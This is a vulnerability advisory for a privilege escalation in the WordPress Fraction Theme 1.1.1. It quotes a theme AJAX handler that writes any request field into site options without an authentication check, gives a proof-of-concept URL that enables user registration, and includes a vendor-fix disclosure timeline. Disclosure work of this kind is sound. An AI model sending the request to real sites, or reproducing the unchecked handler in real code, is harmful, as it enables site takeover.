WordPress Fraction Theme 1.1.1 Privilege Escalation

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WordPress Fraction Theme 1.1.1 Previlage Escalation  
------------------------------------------------------------------------------  
  
[-] Theme Link:  
  
http://themeforest.net/item/fraction-multipurpose-news-magazine-theme/8655281  
  
[-] Affected Version:  
  
Version: 1.1.1  
  
[-] Vulnerability Description:  
  
This vulnerability allows an attacker to escalate privileges on the site  
and have an admin account which may lead to a full site takeover  
the vulnerability is in /fraction-theme/functions/ajax.php there is this  
function called "ot_save_options":  
  
function ot_save_options() {  
$fields = $_REQUEST;  
foreach($fields as $key => $field) {  
if($key!="action") {  
update_option($key,$field);  
}  
}  
die();  
}  
  
passing user input into the update_option function allows an attacker to  
update options like users_can_register,default_role.... etc  
this can be accessed via ajax by users and non-users:  
  
add_action('wp_ajax_nopriv_ot_save_options', 'ot_save_options');  
add_action('wp_ajax_ot_save_options', 'ot_save_options');  
  
[-] Proof of Concept:  
  
this will enable user registration  
http://localhost/wordpress/wp-admin/admin-ajax.php?action=ot_save_options&users_can_register=1  
  
[-] Timeline:  
09 March - Vendor Notified  
09 March - Vendor Replied  
10 March - Fix Released  
10 March - Public Disclosure  
  
[-] References:  
http://research.evex.pw/?vuln=8  
@Evex_1337  
`